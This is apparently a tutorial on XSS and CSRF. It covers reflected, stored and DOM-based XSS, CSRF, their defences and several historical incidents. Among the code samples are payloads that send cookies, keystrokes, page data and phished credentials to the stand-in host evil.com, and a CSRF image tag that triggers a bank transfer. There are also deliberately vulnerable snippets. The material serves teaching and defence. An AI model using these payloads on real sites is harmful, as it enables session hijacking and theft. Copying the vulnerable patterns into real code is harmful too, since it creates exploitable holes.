XSS & CSRF

1. Reflected XSS
   Payload is in the URL/request
   └─ User clicks crafted link
   └─ Payload reflected in response immediately
   └─ Requires social engineering to deliver link

2. Stored XSS
   Payload is saved on the server (database, comments, profiles)
   └─ Attacker submits payload to comment form
   └─ Server stores it in database
   └─ Every user who views the comment executes the payload
   └─ Most dangerous type — persistent, wider reach

3. DOM-Based XSS
   Payload executes entirely on client-side (no server interaction)
   └─ Vulnerable JavaScript reads from URL fragment/document.location
   └─ Executes payload without server involvement
   └─ Very hard to detect on server side

1
<!-- Vulnerable search page -->
2
<form action="/search" method="GET">
3
  <input name="q" value="<%= request.getParameter("q") %>">
4
  <input type="submit">
5
</form>
6

7
<!-- Attacker sends link: -->
8
/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
9

10
<!-- Result: victim's cookies sent to attacker -->

# Vulnerable Flask app
@app.route('/search')
def search():
    query = request.args.get('q', '')
    return f'<h1>Search results for: {query}</h1>'  # XSS!

1
<!-- Comment system with no sanitisation -->
2
<form action="/comment" method="POST">
3
  <textarea name="comment"></textarea>
4
  <input type="submit">
5
</form>
6

7
<!-- Attacker submits: -->
8
<script>
9
  fetch('https://evil.com/steal', {
10
    method: 'POST',
11
    body: JSON.stringify({cookie: document.cookie, page: document.location})
12
  });
13
</script>
14

15
<!-- Every user viewing the page executes this script -->

1
<!-- Vulnerable client-side code -->
2
<script>
3
  var name = document.location.hash.substring(1);
4
  document.getElementById('greeting').innerHTML = 'Hello, ' + name;
5
</script>
6

7
<!-- Attacker sends link: -->
8
/page.html#<img src=x onerror="alert(document.cookie)">

// Session hijacking
document.location='https://evil.com/steal?c='+document.cookie

// Keylogger
document.addEventListener('keydown', function(e) {
  fetch('https://evil.com/log', {method: 'POST', body: e.key})
})

// Credential phish (inject fake login form)
document.body.innerHTML = '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999"><form action="https://evil.com/steal" method="POST"><h1>Session expired. Please login again.</h1><input name="user"><input name="pass" type="password"><input type="submit"></form></div>'

// Port scan internal network
fetch('http://192.168.1.1:80').then(r => console.log('Router found'))

// Steal page content
fetch('/api/account').then(r => r.text()).then(data => {
  fetch('https://evil.com/steal?data=' + btoa(data))
})

# 1. Context-sensitive output encoding

# HTML context: encode & < > " '
from html import escape
safe_name = escape(user_name)  # "<script>" → "&lt;script&gt;"

# JavaScript context: must escape differently
import json
safe_json = json.dumps(user_data)  # Properly escapes for JS string

# URL context: URL-encode
from urllib.parse import quote
safe_url = quote(user_input)  # Spaces → %20, quotes → %27

# CSS context: extremely restrictive
# Avoid putting user input in CSS at all — use classes instead

1
<!-- 2. Content Security Policy (CSP) — strongest defence -->
2
<meta http-equiv="Content-Security-Policy" content="
3
  default-src 'self';
4
  script-src 'self' cdn.trusted.com;
5
  style-src 'self' cdn.trusted.com;
6
  img-src 'self' data:;
7
  connect-src 'self';
8
  frame-ancestors 'none';
9
  base-uri 'self';
10
  form-action 'self';
11
">
12

13
<!-- CSP blocks inline scripts unless 'unsafe-inline' is set (don't set it!) -->
14
<!-- CSP blocks eval() -->
15
<!-- CSP blocks connections to unknown origins -->

// 3. Never use innerHTML with user data
// ❌ DANGEROUS
element.innerHTML = user_input;

// ✅ Safe alternatives
element.textContent = user_input;        // Plain text
element.setAttribute('title', user_input); // Attribute
document.createTextNode(user_input);      // Text node

  └─ Stored XSS in MySpace profile pages
  └─ Payload: <script> combined with CSS display:none to hide
  └─ When anyone viewed an infected profile, the worm:
      1. Added "samy" as a friend
      2. Copied itself to the viewer's profile
  └─ 1 million+ infected profiles in 20 hours
  └─ MySpace had to shut down to clean the worm
  └─ One of the fastest-spreading worms in internet history

  └─ In 2023, Twitter had a stored XSS vulnerability
  └─ Attacker could inject script in tweets
  └─ Auto-retweet functionality made it spread rapidly
  └─ Twitter had to disable large parts of the platform temporarily
  └─ Bug bounty payout: $5,000 (critical severity would be $50K+)

Victim is logged into banking site (session cookie stored)
Victim visits attacker's malicious page simultaneously
Malicious page contains:
  <img src="http://bank.com/transfer?to=attacker&amount=10000">
Browser automatically includes the victim's session cookie
Bank processes the transfer (because request looks authenticated)

# 1. CSRF Token (most common)
from flask_wtf.csrf import generate_csrf

@app.route('/transfer', methods=['POST'])
def transfer_money():
    # CSRF token validated by Flask-WTF automatically
    # Token must be:
    #   - Random, unpredictable
    #   - Tied to user session
    #   - Validated on every state-changing request
    pass

1
<!-- Form with CSRF token -->
2
<form action="/transfer" method="POST">
3
  <input type="hidden" name="csrf_token" value="RANDOM_TOKEN_HERE">
4
  <input name="account" placeholder="Account number">
5
  <input name="amount" placeholder="Amount">
6
  <input type="submit">
7
</form>

// 2. SameSite Cookie Attribute
// Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly

// SameSite=Lax (default in modern browsers):
//   Cookie sent for top-level navigations (GET)
//   NOT sent for POST forms from other sites
//   Prevents most CSRF attacks

// SameSite=Strict:
//   Cookie NOT sent on any cross-site request
//   Best security, but breaks some legitimate cross-site flows

// SameSite=None:
//   Cookie sent on all cross-site requests
//   Must be combined with Secure (HTTPS only)
//   No CSRF protection — must use tokens

# 3. Custom Request Headers
# APIs can require a header that JavaScript cannot set cross-origin:

headers = {
    'X-Requested-With': 'XMLHttpRequest',  # Cannot be set by simple CSRF
    'X-CSRF-Token': csrf_token
}

# The Same-Origin-Policy prevents JavaScript from reading responses
# if custom headers are set cross-origin (preflight OPTIONS request
# would be blocked by CORS)

  └─ CSRF vulnerability in Netflix
  └─ Attacker could add/remove DVDs from victim's queue
  └─ Social engineering link sent to victim
  └─ Victim's browser sent authenticated request
  └─ DVDs changed without victim's knowledge